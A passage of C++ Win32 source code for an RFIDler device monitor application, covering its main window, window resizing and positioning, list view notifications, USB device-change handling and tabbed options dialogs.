POINT pt);\n\n\n/* real code begins here ... */\n\nint WINAPI WinMain (\n    HINSTANCE hInstance,\n    HINSTANCE /* hPrevInstance */,\n    PSTR /* szCmdLine TODO: use to identify when launched from Startup Shortcut */,\n    int /* iCmdShow TODO: review if useful to support this */\n)\n{\n    ATOM ClassId;\n    INITCOMMONCONTROLSEX ccInit;\n\n    /* Initialisation */\n    ClassId = RegisterMainWindow (hInstance);\n\n    if (!ClassId) {\n        MessageBox(NULL, _T(\"Unable to create main window\"), szAppName, MB_OK | MB_ICONWARNING);\n        return 3;\n    }\n\n    // we use the listview & imagelist from 'Common Controls'\n    ZeroMemory(&ccInit, sizeof(ccInit));\n    ccInit.dwSize = sizeof(ccInit);\n    ccInit.dwICC = ICC_WIN95_CLASSES | ICC_STANDARD_CLASSES;\n    InitCommonControlsEx(&ccInit);\n    // need Microsoft COM setup for handling shortcuts\n    CoInitialize(NULL);\n\n    // simply use DialogBoxParam to show window\n    // TODO: pass a parameter block, eg including launch from Startup flag\n    INT_PTR result = DialogBoxParam (hInstance, MAKEINTRESOURCE(IDD_MONITOR), 0, MonitorDlgProc, (LPARAM) hInstance);\n\n    CoUninitialize();\n    return result;\n}   /* WinMain() */\n\n\n\nATOM RegisterMainWindow (HINSTANCE hInstance)\n{\n    WNDCLASSEX  WndClass;\n\n    WndClass.cbSize        = sizeof (WndClass);\n    WndClass.style         = CS_HREDRAW | CS_VREDRAW;\n    WndClass.lpfnWndProc   = DefDlgProc;                // MainWndProc;\n    WndClass.cbClsExtra    = 0;\n    WndClass.cbWndExtra    = DLGWINDOWEXTRA;\n    WndClass.hInstance     = hInstance;\n    // Visual Studio 2010 does not allow setting Class of Dialog template, so icon given here wont be used for our main window\n    WndClass.hIcon         = NULL;\n                            /* (HICON) LoadImage(hInstance, MAKEINTRESOURCE(IDI_RFIDLER),\n                                    IMAGE_ICON, 48, 48, LR_DEFAULTCOLOR); */\n    WndClass.hCursor       = LoadCursor (NULL, IDC_ARROW);\n    WndClass.hbrBackground = (HBRUSH) GetStockObject (LTGRAY_BRUSH);\n    WndClass.lpszMenuName  = NULL;\n    WndClass.lpszClassName = _T(\"RFIDmonitor\");\n    WndClass.hIconSm       = NULL;\n    return RegisterClassEx (&WndClass);\n}   /* RegisterMainWindow() */\n\n\n#if defined(_DEBUG)\n// printf formatted messages to debug port\nvoid PrintDebugStatus(const wchar_t *format, ...)\n{\n    HRESULT hr;\n    static wchar_t msgbuff[1024];\n    va_list argptr;\n    va_start(argptr, format);\n\n    hr = StringCbVPrintf(msgbuff, sizeof(msgbuff), format, argptr);\n    if (SUCCEEDED(hr)) {\n        OutputDebugString(msgbuff);\n    }\n}\n#endif\n\n\n/* info for managing main window during resize */\n#define FLAG_TOP_NOMOVE             0x00000001\n#define FLAG_HEIGHT_FIXED           0x00000002\n#define FLAG_BOTTOM_TRACK           0x00000004\n\n#define FLAG_LEFT_NOMOVE            0x00000100\n#define FLAG_WIDTH_FIXED            0x00000200\n#define FLAG_RIGHT_TRACK            0x00000400\n\n\nclass AppControlPos {\npublic:\n    int         ctlId;          /* item id on dialog */\n    unsigned    ctlPosRules;    /* our repositioning rules */\n    HWND        ctlHWnd;        /* control's handle */\n    RECT        ctlRect;        /* initial control position & dimensions */\n    BOOL        ctlHidden;      /* hidden because current window size is too small */\n    // TODO? add minimum control size\n};\n\n\nclass AppWindowPos {\npublic:\n    AppControlPos   *wndCtrls;\n    unsigned        wndCtlCount;\n    SIZE            wndSize;\n};\n\n\nvoid GetInitialControlPositions(HWND hWnd, AppWindowPos *wnd)\n{\n    RECT wndRect;\n\n    /* get control initial positions */\n    if (GetClientRect(hWnd, &wndRect)) {\n        unsigned idx;\n        AppControlPos *ctl;\n\n        wnd->wndSize.cx = wndRect.right - wndRect.left;\n        wnd->wndSize.cy = wndRect.bottom - wndRect.top;\n\n        for (idx = 0; idx < wnd->wndCtlCount; idx++) {\n            ctl = wnd->wndCtrls + idx;\n            // if valid control\n            if (ctl->ctlId) {\n                HWND hCtl= GetDlgItem(hWnd, ctl->ctlId);\n\n                if (hCtl) {\n                    ctl->ctlHWnd = hCtl;\n\n                    /* get control corners */\n                    GetWindowRect(hCtl, &ctl->ctlRect);\n                    /* convert screen co-ordinates to positions in dialog client area */\n                    MapWindowPoints(NULL, hWnd, (LPPOINT) &ctl->ctlRect, 2);\n                } /* valid hCtl handle */\n            }\n        } /* for */\n    }\n}   /* GetInitialControlPositions() */\n\n\n// stretch / move controls in response to window resize\nvoid RecalcControlPositions(HWND hWnd, AppWindowPos *wnd)\n{\n    unsigned idx;\n    HDWP hdwp;\n    RECT newRect;\n    int  increaseW;\n    int  increaseH;\n    \n    GetClientRect(hWnd, &newRect);\n    increaseW = newRect.right - wnd->wndSize.cx;\n    increaseH = newRect.bottom - wnd->wndSize.cy;\n\n    /* need to resize/reposition controls? */\n    if ( (increaseW == 0) && (increaseH == 0) ) {\n        return;\n    }\n\n    // remember new client area\n    wnd->wndSize.cx = newRect.right;\n    wnd->wndSize.cy = newRect.bottom;\n\n    hdwp = BeginDeferWindowPos(wnd->wndCtlCount);\n\n    for (idx = 0; idx < wnd->wndCtlCount; idx++) {\n        UINT           uFlags = SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE;\n        AppControlPos  *ctl = wnd->wndCtrls + idx;\n        RECT           *rt = &ctl->ctlRect;\n\n        // width change?\n        if (increaseW != 0) {\n            if (ctl->ctlPosRules & FLAG_WIDTH_FIXED) {\n                // not fixed pos X?\n                if (!(ctl->ctlPosRules & FLAG_LEFT_NOMOVE)) {\n                    // move right\n                    rt->left += increaseW;\n                    uFlags &= ~SWP_NOMOVE;\n                }\n            } else {\n                rt->right += increaseW;\n                uFlags &= ~SWP_NOSIZE;\n            }\n        }\n    \n        // height change?\n        if (increaseH != 0) {\n            if (ctl->ctlPosRules & FLAG_HEIGHT_FIXED) {\n                // not fixed pos Y?\n                if (!(ctl->ctlPosRules & FLAG_TOP_NOMOVE)) {\n                    // move down\n                    rt->top += increaseH;\n                    uFlags &= ~SWP_NOMOVE;\n                }\n            } else {\n                rt->bottom += increaseH;\n                uFlags &= ~SWP_NOSIZE;\n            }\n        }\n\n        // reposition / resize ctl->ctlHWnd\n        DeferWindowPos(hdwp, ctl->ctlHWnd, NULL, rt->left, rt->top, rt->right - rt->left, rt->bottom - rt->top, uFlags);\n    }\n\n    EndDeferWindowPos(hdwp);\n}\n\n\n/*\n  If possible restore position of the window from last time it is was run.\n  Otherwise hacky stuff to position main window because CW_USERDEFAULT positioning does not work for dialog based windows,\n  as we don't want to be in top left corner of the screen.\n  */\nvoid MoveMainWindow(HWND hWnd, HINSTANCE hInst)\n{\n    RECT rc;\n\n    // get stored position/size from registry\n    const MonOptions &opt = DevTracker.GetOptions();\n\n    // check window parameters are recalled, & minimum window size\n    if (opt.GetWindowInfo(rc) &&\n            ((rc.right - rc.left) >= KMinimiumWindowSize.cx) && ((rc.bottom - rc.top) >= KMinimiumWindowSize.cy) ) {\n        // check that window pos is on screen\n        HMONITOR mon;\n        WINDOWPLACEMENT wp;\n        wp.length = sizeof(WINDOWPLACEMENT);\n        wp.rcNormalPosition = rc;\n        wp.showCmd = SW_SHOWNORMAL;\n\n        // rc is 'workspace co-ords' should be close enough to screen coords for testing visibility\n        mon = MonitorFromRect(&rc, MONITOR_DEFAULTTONULL);\n        if (mon) {\n            // seems to be visible, restore window pos\n            SetWindowPlacement(hWnd, &wp);\n            return;\n        }\n    }\n\n\n    // find out where CW_USEDEFAULT would place new window (not available for dialogs)\n    if (GetWindowRect(hWnd, &rc)) {\n        // make invisible window the same size as this, positioned with CW_USEDEFAULT\n        // NB need to reference a valid Window class\n        HWND hW = CreateWindow(_T(\"RFIDmonitor\"), _T(\"Invisible Touch\"), WS_OVERLAPPEDWINDOW,\n            CW_USEDEFAULT, CW_USEDEFAULT, rc.right - rc.left, rc.bottom - rc.top,\n            NULL, NULL, hInst, NULL);\n        if (hW) {\n            RECT rc2;\n\n            if (GetWindowRect(hW, &rc2)) {\n                // move program window to this location\n                SetWindowPos(hWnd, HWND_TOP, rc2.left, rc2.top, 0, 0, SWP_NOSIZE);\n            }\n            // cleanup\n            DestroyWindow(hW);\n        }\n    }\n}\n\n\nBOOL CALLBACK MonitorDlgProc (\n    HWND hWnd,\n    UINT iMsg,\n    WPARAM wParam,\n    LPARAM lParam\n)\n{\n    /* statics keep state between Windows messages */\n    static HINSTANCE        hInst = 0;\n    static HWND             hWndLV = NULL;\n    static HWND             hWndStatusBar = NULL;\n    static UINT             TbCreatedNotification = 0;\n    static ITaskbarList3*   pTbList = NULL; // Windows >= 7 Taskbar COM interface\n    // data to support resizing of window\n    static AppControlPos    MainControls[] =\n    {\n        { IDC_RFIDLERLIST, FLAG_TOP_NOMOVE | FLAG_BOTTOM_TRACK | FLAG_LEFT_NOMOVE | FLAG_RIGHT_TRACK },\n        { IDC_STATUSBAR,  FLAG_HEIGHT_FIXED | FLAG_BOTTOM_TRACK | FLAG_LEFT_NOMOVE | FLAG_RIGHT_TRACK },\n    };\n\n    static AppWindowPos MainWnd = {\n        MainControls,\n        sizeof(MainControls) / sizeof(AppControlPos),\n    };\n\n\n    /* locals */\n    int  handled = 0;\n\n    switch (iMsg) {\n    case WM_INITDIALOG: /* from CreateDialog() */\n        hInst = (HINSTANCE) lParam;\n\n        // set System Menu Icon for dialog\n        SetClassLong(hWnd, GCL_HICON, (LONG) LoadIcon(hInst, MAKEINTRESOURCE(IDI_RFIDLER)));\n\n        // create / remember key child windows\n        hWndLV = GetDlgItem(hWnd, IDC_RFIDLERLIST);\n\n        // Create Status Bar with sizing grip at bottom of window\n        hWndStatusBar = CreateStatusWindow(WS_CHILD | WS_VISIBLE | SBS_SIZEGRIP, _T(\"\"), hWnd, IDC_STATUSBAR);\n\n        // setup support for resizing / moving child controls when dialog is resized\n        GetInitialControlPositions(hWnd, &MainWnd);\n\n        // Check for Windows >= 7\n        if (CheckWindowsVersion(WinAtLeast7)) {\n            /* Request notification when our Taskbar button is created,\n               can occur multiple times if Windows Shell restarts.\n             */\n            TbCreatedNotification = RegisterWindowMessage(TEXT(\"TaskbarButtonCreated\"));\n            if (TbCreatedNotification) {\n                // obscurely documented secret sauce to actually get the notification\n                ChangeWindowMessageFilterEx(hWnd, TbCreatedNotification, MSGFLT_ALLOW, NULL);\n            }\n        }\n\n        // create Plug & Play device tracking stuff\n        DevTracker.Initialize(hWnd, hWndLV, hWndStatusBar, hInst);\n\n        // Registry Settings etc are restored by DeviceTracker Initialize(), so we can use them now\n\n        // should StatusBar have 2 or 3 partitions?\n        if (hWndStatusBar) {\n            if (DevTracker.GetOptions().ShowDevBoardsOrAnySerial()) {\n                SetStatusBarPartitions(hWndStatusBar, 3);\n            } else {\n                SetStatusBarPartitions(hWndStatusBar, 2);\n            }\n        }\n\n        // restore old window position & size if any, or use CW_USEDEFAULT positioning\n        MoveMainWindow(hWnd, hInst);\n        return TRUE;\n\n    case WM_WINDOWPOSCHANGED:\n        {\n            const WINDOWPOS *winpos = (WINDOWPOS *) lParam;\n\n            if (!(winpos->flags & SWP_NOSIZE)) {\n                // Note ListView will rearrange its items, so long as LVS_AUTOARRANGE style is set\n                RecalcControlPositions(hWnd, &MainWnd);\n            }\n\n            if (!(winpos->flags & SWP_NOMOVE) || !(winpos->flags & SWP_NOSIZE)) {\n                WINDOWPLACEMENT place;\n\n                // save position & size if 'normal' display (not maximized or minimized)\n                place.length = sizeof(WINDOWPLACEMENT);\n                if (GetWindowPlacement(hWnd, &place) && (place.showCmd == SW_SHOWNORMAL)) {\n                    // save window placement\n                    DevTracker.GetOptions().SaveWindowInfo(place.rcNormalPosition);\n                }\n            }\n        }\n        handled++;\n        break;\n\n    case WM_GETMINMAXINFO: // set minimum window resize values\n        {\n            MINMAXINFO *minmax = (MINMAXINFO *)lParam;\n            if (minmax->ptMinTrackSize.x < KMinimiumWindowSize.cx) {\n                minmax->ptMinTrackSize.x = KMinimiumWindowSize.cx;\n            }\n            if (minmax->ptMinTrackSize.y < KMinimiumWindowSize.cy) {\n                minmax->ptMinTrackSize.y = KMinimiumWindowSize.cy;\n            }\n        }\n        handled++;\n        break;\n\n    case WM_COMMAND: // handle button, menu selections, ...\n        {\n            int wID = LOWORD (wParam);\n            //int wNotification = HIWORD(wParam);\n            //HWND hChild = (HWND) lParam;\n\n            switch (wID) {\n            case ID_HELP_ABOUT:\n                DialogBox(hInst, MAKEINTRESOURCE(IDD_HELP_ABOUT), hWnd, AboutDlgProc);\n                handled++;\n                break;\n\n                // change type of view\n            case ID_VIEW_LARGE_ICONS:\n            case ID_VIEW_SMALL_ICONS:\n            case ID_VIEW_DETAILS:\n            case ID_VIEW_TILES: // Tile view must be supported, as we specify comctrl32 DLL v6.0 in manifest\n                {\n                    int currentView = DevTracker.GetOptions().GetViewStyleButton();\n                    if (wID != currentView) {\n                        // move menu check mark\n                        HMENU hMenu = GetMenu(hWnd);\n\n                        CheckMenuItem(hMenu, currentView, MF_UNCHECKED);\n                        CheckMenuItem(hMenu, wID, MF_CHECKED);\n                        DevTracker.SetViewStyle(wID);\n                    }\n                }\n                handled++;\n                break;\n\n            case ID_SETTINGS_CONFIG_SHORTCUTS: // dialog IDD_CONFIGSHORTCUTS\n                DialogBoxParam (hInst, MAKEINTRESOURCE(IDD_CONFIGSHORTCUTS), hWnd,\n                    InstallConfigDlgProc, 0);\n                break;\n\n            case ID_SETTINGS_DEVTYPES:\n            case ID_SETTINGS_DEVNOTIFICATIONS:\n                DialogBoxParam (hInst, MAKEINTRESOURCE(IDD_OPTIONS), hWnd,\n                    OptionsDlgProc, wID);\n                break;\n\n            case ID_MONITOR_EXIT:\n                EndDialog (hWnd, 0);\n                handled++;\n                break;\n            }\n        } // WM_COMMAND\n        break;\n\n    case WM_NOTIFY:\n        if (wParam == IDC_RFIDLERLIST) {\n            NM_LISTVIEW *pNm = (NM_LISTVIEW *) lParam;\n            UINT notifycode = pNm->hdr.code;\n\n            switch(notifycode) {\n            case LVN_COLUMNCLICK:\n                LVColumnClickAndSort(pNm->iSubItem, pNm->hdr.hwndFrom);\n                handled++;\n                break;\n\n            case LVN_GETINFOTIP:\n                // tooltip when mouse hovers over device in view\n                LVInfoTip((LPNMLVGETINFOTIP)lParam);\n                handled++;\n                break;\n\n            case NM_RCLICK: // right click: device menu\n                LVRightClickContextMenu(hInst, hWnd, (LPNMITEMACTIVATE) lParam);\n                handled++;\n                break;\n\n            case LVN_ITEMACTIVATE:\n                LVItemDoubleClick(hInst, hWnd, (LPNMITEMACTIVATE)lParam);\n                handled++;\n                break;\n\n            case LVN_GETEMPTYMARKUP:\n                // bug: documented way of setting empty ListView text, not working for me (Windows 7)\n                LVEmptyViewTest((NMLVEMPTYMARKUP *) lParam);\n                handled++;\n                break;\n\n            case (LVN_FIRST-61):\n                // LVN_GETEMPTYTEXTW undocumented way of setting empty ListView text, not working for me (Windows 7)\n                {\n                    NMLVDISPINFO *nm = (NMLVDISPINFO *)lParam;\n                    if (nm->item.mask == LVIF_TEXT && nm->item.pszText) {\n                        StringCchCopy(nm->item.pszText, nm->item.cchTextMax, _T(\"No RFIDlers connected.\"));\n                    }\n                }\n                handled++;\n                break;\n\n#ifdef _DEBUG\n            case LVN_GETDISPINFOW:\n                {   // no action seems to be needed\n                    NMLVDISPINFO* pdi = (NMLVDISPINFO*) lParam;\n\n                    PrintDebugStatus(_T(\"WM_NOTIFY ListView hdr.code = LVN_GETDISPINFOW, iItem %u, mask = 0x%x\\n\"),\n                        pdi->item.iItem, pdi->item.mask);\n                }\n                break;\n\n            case LVN_ITEMCHANGING: // notifications we don't want Debug prints for\n            case LVN_ITEMCHANGED:\n            case LVN_INSERTITEM: \n            case LVN_DELETEITEM:\n            case LVN_DELETEALLITEMS:\n            case LVN_HOTTRACK:\n            case LVN_BEGINSCROLL:\n            case LVN_ENDSCROLL:\n            case LVN_INCREMENTALSEARCHW:\n                break;\n\n            case LVN_KEYDOWN:\n                { // maybe want to handle some keys?\n                    NMLVKEYDOWN* pnkd = (NMLVKEYDOWN*) lParam;\n\n                    PrintDebugStatus(_T(\"ListView LVN_KEYDOWN hwndFrom 0x%0x, wVKey %u 0x%0x, flags 0x%0x\\n\"),\n                        pNm->hdr.hwndFrom, pnkd->wVKey, pnkd->flags);\n                }\n                break;\n\n            default: // report unhandled notifications\n                if (notifycode <= LVN_FIRST) {\n                    PrintDebugStatus(_T(\"WM_NOTIFY ListView hdr.code = %u = (LVN_FIRST-%u)\\n\"),\n                        notifycode, LVN_FIRST - notifycode);\n                }\n                break;\n#else\n            default:\n                break;\n#endif\n            }\n        }\n        break;\n\n    case WM_CONTEXTMENU: // Context Menu for ListView (should only be that VK_APPS or Shift+F10 come here)\n        if (wParam == (WPARAM) hWndLV) {\n            if ((lParam == 0xFFFFFFFF) && (ListView_GetSelectedCount(hWndLV) > 0)) {\n                LVSelectedItemContextMenu(hInst, hWnd, hWndLV);\n            }\n        }\n        break;\n\n    case WM_DEVICECHANGE:\n        DevTracker.OnDeviceChange((UINT) wParam, lParam);\n        handled++;\n        break;\n\n    case WM_TIMER:\n        switch (wParam)\n        {\n        case DEV_RESCAN_TIMER_MAGICNUMBER:\n            DevTracker.ScanRfidlerDevices();\n            handled++;\n            break;\n        case ARRIVAL_TIMER_MAGICNUMBER:\n            DevTracker.UpdateArrivedAndRemovedDevices();\n            handled++;\n            break;\n        case REGISTRY_SAVE_MAGICNUMBER:\n            DevTracker.GetOptions().RegistrySaveChangedValues(FALSE);\n            handled++;\n            break;\n        }\n        break;\n\n    case WM_CLOSE:\n        EndDialog (hWnd, 0);\n        handled++;\n        break;\n\n    case WM_DESTROY: /* cleanup & exit */\n        DevTracker.GetOptions().RegistrySaveChangedValues(TRUE);\n        DevTracker.Cleanup();\n\n        // release Taskbar COM interface\n        if (pTbList) {\n            pTbList->Release();\n            pTbList = NULL;\n        }\n        // close program\n        PostQuitMessage (0);\n        handled++;\n        break;\n\n    default:\n        if ((TbCreatedNotification != 0) && (TbCreatedNotification == iMsg)) {\n            // initial Taskbar button creation, or Windows Explorer has restarted\n            pTbList = NULL;\n\n            // if we get the interface then intialise (note using C++ here)\n            if (SUCCEEDED(CoCreateInstance(CLSID_TaskbarList, NULL, CLSCTX_ALL, IID_ITaskbarList3, (void**)&pTbList))) {\n                pTbList->HrInit();\n            }\n        }\n        break;\n    }\n\n    // 1 = handled here, 0 = pass to default handling\n    return handled;\n}   /* MonitorDlgProc() */\n\n\nHWND InitTabbedDialog(HWND hWndTab, int itemId, wchar_t *tabTitle, LPCWSTR lpTemplateName,\n        DLGPROC lpDialogFunc, LPARAM dwInitParam, BOOL showDialog)\n{\n    TCITEM tcItem;\n\n    tcItem.mask = TCIF_TEXT;\n    tcItem.pszText = tabTitle;\n    TabCtrl_InsertItem(hWndTab, itemId, &tcItem);\n\n    HWND child = CreateDialogParam( GetModuleHandle( NULL ),\n        lpTemplateName, hWndTab, lpDialogFunc, dwInitParam);\n\n    if (child) {\n        // move child dialog away from tabs\n        RECT rc;\n\n        GetClientRect(hWndTab, &rc);\n        TabCtrl_AdjustRect(hWndTab, FALSE, &rc);\n        SetWindowPos(child, 0, rc.left, rc.top, rc.right - rc.left, rc.bottom - rc.top, SWP_NOZORDER);\n        // select & show initial tab\n        if (showDialog) {\n            if (itemId != 0) {\n                TabCtrl_SetCurSel(hWndTab, itemId);\n            }\n            ShowWindow(child, SW_SHOW);\n        }\n    }\n    return child;\n}\n\n\nHWND InitShowControls(MonOptions *newOptions, HWND hWndTab, BOOL showDialog)\n{\n    return InitTabbedDialog(hWndTab, 0, _T(\"Show Devices\"), MAKEINTRESOURCE( IDD_WHATTOWATCH ),\n        ShowOptionsDlgProc, (LPARAM) newOptions, showDialog);\n}\n\n\nHWND InitNotificationControls(MonOptions *newOptions, HWND hWndTab, BOOL showDialog)\n{\n    return InitTabbedDialog(hWndTab, 1, _T(\"Device Notifications\"), MAKEINTRESOURCE( IDD_NOTIFICATIONS ),\n        NotificationsDlgProc, (LPARAM) newOptions, showDialog);\n}\n\n\nvoid SetShowOptionsArrivalTime(HWND hWnd, MonOptions *aOptions)\n{\n    wchar_t arrivalString[8];\n\n    // setup arrival time edit control\n    StringCbPrintf(arrivalString, sizeof(arrivalString), _T(\"%u\"), aOptions->GetArrivalOrRemovalTime());\n    SetDlgItemText(hWnd, IDC_ARRIVAL_REMOVAL_TIME, arrivalString);\n}\n\n\nvoid SetShowOptionsCheckBoxes(HWND hWnd, MonOptions *aOptions, BOOL setEditControls)\n{\n    SendMessage(GetDlgItem(hWnd, IDC_SHOW_UNCONFIG), BM_SETCHECK, \n        aOptions->ShowNonConfig() ? BST_CHECKED : BST_UNCHECKED, 0);\n    SendMessage(GetDlgItem(hWnd, IDC_SHOW_ALL), BM_SETCHECK, \n        aOptions->ShowNotPresent() ? BST_CHECKED : BST_UNCHECKED, 0);\n    SendMessage(GetDlgItem(hWnd, IDC_SHOW_DEV_BOARDS), BM_SETCHECK, \n        aOptions->ShowDevBoards() ? BST_CHECKED : BST_UNCHECKED, 0);        \n    SendMessage(GetDlgItem(hWnd, IDC_SHOW_RECENTDISC), BM_SETCHECK, \n        aOptions->ShowRecentDisc() ? BST_CHECKED : BST_UNCHECKED, 0);        \n    SendMessage(GetDlgItem(hWnd, IDC_OTHERSERIAL), BM_SETCHECK, \n        aOptions->ShowAnySerial() ? BST_CHECKED : BST_UNCHECKED, 0);        \n\n    if (setEditControls) {\n        SetShowOptionsArrivalTime(hWnd, aOptions);\n    }\n}\n\n\nBOOL CALLBACK ShowOptionsDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam)\n{\n    static MonOptions *newOptions;\n    static HWND       hWndParentDlg = NULL;\n\n    int handled = 0;\n\n    switch(iMsg) {\n    case WM_INITDIALOG:\n        hWndParentDlg = GetParent(GetParent(hWnd));\n        newOptions = (MonOptions *) lParam;\n        SetShowOptionsCheckBoxes(hWnd, newOptions, TRUE);\n        // setup buddy range\n        SendMessage(GetDlgItem(hWnd, IDC_ARRIVAL_BUDDY), UDM_SETRANGE, 0, MAKELPARAM(1, KArrivalOrRemovalTimeMaximum));\n        EnableThemeDialogTexture(hWnd, ETDT_ENABLETAB);\n        return TRUE;\n\n    case WM_NOTIFYFORMAT:\n        return NFR_UNICODE;\n\n    case WM_COMMAND:\n        {\n            int wID = LOWORD (wParam);\n            BOOL enableApply = FALSE; // whether change of options should enable Apply button\n\n            switch (wID) \n            {\n            case IDC_CHECK_SHOW_ALL:                \n                if (newOptions->SetShowFlagsToAll()) {\n                    enableApply = TRUE;\n                    SetShowOptionsCheckBoxes(hWnd, newOptions, FALSE);\n                }\n                break;\n            case IDC_CHECK_SHOW_NONE:\n                if (newOptions->SetShowFlagsToNone()) {\n                    enableApply = TRUE;\n                    SetShowOptionsCheckBoxes(hWnd, newOptions, FALSE);\n                }\n                break;\n            case IDC_DEFAULT:\n                if (newOptions->SetShowFlagsToDefault()) {\n                    enableApply = TRUE;\n                    SetShowOptionsCheckBoxes(hWnd, newOptions, TRUE);\n                }\n                break;\n            case IDC_SHOW_UNCONFIG:\n                newOptions->SetShowNonConfig((BOOL) IsDlgButtonChecked(hWnd, IDC_SHOW_UNCONFIG));\n                enableApply = TRUE;\n                break;\n            case IDC_SHOW_ALL:\n                newOptions->SetShowNotPresent((BOOL) IsDlgButtonChecked(hWnd, IDC_SHOW_ALL));\n                enableApply = TRUE;\n                break;\n            case IDC_SHOW_DEV_BOARDS:\n                newOptions->SetShowDevBoards((BOOL) IsDlgButtonChecked(hWnd, IDC_SHOW_DEV_BOARDS));\n                enableApply = TRUE;\n                break;\n            case IDC_SHOW_RECENTDISC:\n                newOptions->SetShowRecentDisc((BOOL) IsDlgButtonChecked(hWnd, IDC_SHOW_RECENTDISC));\n                enableApply = TRUE;\n                break;\n            case IDC_OTHERSERIAL:\n                newOptions->SetShowAnySerial((BOOL) IsDlgButtonChecked(hWnd, IDC_OTHERSERIAL));\n                enableApply = TRUE;\n                break;\n            case IDC_ARRIVAL_REMOVAL_TIME:\n                // TODO make edit control not read-only, validate values\n                break;\n            }\n\n            if (enableApply && hWndParentDlg) {\n                SendMessage(hWndParentDlg, WM_APP, 0, 0);\n            }\n        }\n        break;\n\n    case WM_NOTIFY:\n        {\n            int wID = LOWORD (wParam);\n            int wNotification = ((NMHDR*)lParam)->code;\n            //HWND hChild = ((NMHDR*)lParam)->hwndFrom;\n            BOOL enableApply = FALSE; // whether change of options should enable Apply button\n\n            if ((wID == IDC_ARRIVAL_BUDDY) && (wNotification == UDN_DELTAPOS)) {\n                NMUPDOWN *updown = (NMUPDOWN*) lParam;\n                newOptions->SetArrivalOrRemovalTime(updown->iPos + updown->iDelta, FALSE);\n                enableApply = TRUE;\n            }\n\n            if (enableApply && hWndParentDlg) {\n                SendMessage(hWndParentDlg, WM_APP, 0, 0);\n            }\n        }\n        break;\n    }\n\n    return handled;\n}\n\n\nvoid SetNotifyOptionsCheckBoxes(HWND hWnd, MonOptions *aOptions)\n{\n    SendMessage(GetDlgItem(hWnd, IDC_RFID_ARR_FLASH), BM_SETCHECK, \n        aOptions->NotifyRfidlerArrFlash() ? BST_CHECKED : BST_UNCHECKED, 0);\n    SendMessage(GetDlgItem(hWnd, IDC_BOOT_ARR_FLASH), BM_SETCHECK, \n        aOptions->NotifyBootArrFlash() ? BST_CHECKED : BST_UNCHECKED, 0);\n    SendMessage(GetDlgItem(hWnd, IDC_MICROCHIP_ARR_FLASH), BM_SETCHECK, \n        aOptions->NotifyMicrochipArrFlash() ? BST_CHECKED : BST_UNCHECKED, 0);\n}\n\n\nBOOL CALLBACK NotificationsDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam)\n{\n    static MonOptions *newOptions;\n    static HWND       hWndParentDlg = NULL;\n\n    int handled = 0;\n\n    switch(iMsg) {\n    case WM_INITDIALOG:\n        hWndParentDlg = GetParent(GetParent(hWnd));\n        newOptions = (MonOptions *) lParam;\n        SetNotifyOptionsCheckBoxes(hWnd, newOptions);\n        EnableThemeDialogTexture(hWnd, ETDT_ENABLETAB);\n        return TRUE;\n\n    case WM_NOTIFYFORMAT:\n        return NFR_UNICODE;\n\n    case WM_COMMAND:\n        {\n            int wID = LOWORD (wParam);\n            BOOL enableApply = FALSE; // whether change of options should enable Apply button\n\n            switch (wID) \n            {\n            case IDC_CHECK_SHOW_ALL:                \n                if (newOptions->SetNotifyFlagsToAll()) {\n                    enableApply = TRUE;\n                    SetNotifyOptionsCheckBoxes(hWnd, newOptions);\n                }\n                break;\n            case IDC_CHECK_SHOW_NONE:\n                if (newOptions->SetNotifyFlagsToNone()) {\n                    enableApply = TRUE;\n                    SetNotifyOptionsCheckBoxes(hWnd, newOptions);\n                }\n                break;\n            case IDC_DEFAULT:\n                if (newOptions->SetNotifyFlagsToDefault()) {\n                    enableApply = TRUE;\n                    SetNotifyOptionsCheckBoxes(hWnd, newOptions);\n                }\n                break;\n            case IDC_RFID_ARR_FLASH:\n                newOptions->SetNotifyRfidlerArrFlash((BOOL) IsDlgButtonChecked(hWnd, IDC_RFID_ARR_FLASH));\n                enableApply = TRUE;\n                break;\n            case IDC_BOOT_ARR_FLASH:\n                newOptions->SetNotifyBootArrFlash((BOOL) IsDlgButtonChecked(hWnd, IDC_BOOT_ARR_FLASH));\n                enableApply = TRUE;\n                break;\n            case IDC_MICROCHIP_ARR_FLASH:\n                newOptions->SetNotifyMicrochipArrFlash((BOOL) IsDlgButtonChecked(hWnd, IDC_MICROCHIP_ARR_FLASH));\n                enableApply = TRUE;\n                break;\n            }\n            if (enableApply && hWndParentDlg) {\n                // some selection changed, tell parent dialog to enable Apply button\n                SendMessage(hWndParentDlg, WM_APP, 0, 0);\n            }\n        }\n        break;\n    }\n\n    return handled;\n}\n\n\nBOOL CALLBACK OptionsDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam)\n{\n    const int KNumPropPages = 2;\n    static HWND hWndOptionsPage[KNumPropPages] = { NULL, NULL };\n    static MonOptions   *newOptions;\n    static BOOL         ApplyEnabled[KNumPropPages] = { FALSE, FALSE };\n    static int          currPage = 0;\n    static HWND         hWndTab;\n    int handled = 0;\n\n    // Option DlgProc works with tab control\n    switch (iMsg) {\n    case WM_INITDIALOG:\n        for (int i = 0; i < KNumPropPages; i++) {\n            ApplyEnabled[i] = FALSE;\n        }\n\n        // new copy of current options\n        newOptions = new MonOptions(DevTracker.GetOptions());\n        hWndTab = GetDlgItem(hWnd, IDC_TABOPTIONS);\n\n        // select initial dialog page\n        switch (lParam)\n        {\n        default:\n        case ID_SETTINGS_DEVTYPES:         currPage = 0; break;\n        case ID_SETTINGS_DEVNOTIFICATIONS: currPage = 1; break;\n        }\n\n        hWndOptionsPage[0] = InitShowControls(newOptions, hWndTab, 0 == currPage);\n        hWndOptionsPage[1] = InitNotificationControls(newOptions, hWndTab, 1 == currPage);\n        { \n            /* mark Tab control as parent, dialog pages should already have this via DS_CONTROL\n               This should ensure tab key moves through all the controls correctly.\n               Minor Windows bug: tab key does select the the tab control, so it is hard\n               (impossible?) to change pages with keyboard.\n               */\n            LONG_PTR value = GetWindowLongPtr(hWndTab, GWL_EXSTYLE);\n            value |= WS_EX_CONTROLPARENT;\n            SetWindowLongPtr(hWndTab, GWL_EXSTYLE, value);\n        }\n        return TRUE;\n\n    case WM_COMMAND:\n        {\n            int wID = LOWORD (wParam);\n\n            switch (wID)\n            {\n            case IDOK:\n                DevTracker.SetOptions(*newOptions, DeviceTracker::SetAll);\n                // fall through\n            case IDCANCEL:\n                EndDialog(hWnd, wID);\n                handled++;\n                break;\n            case IDC_APPLY:\n                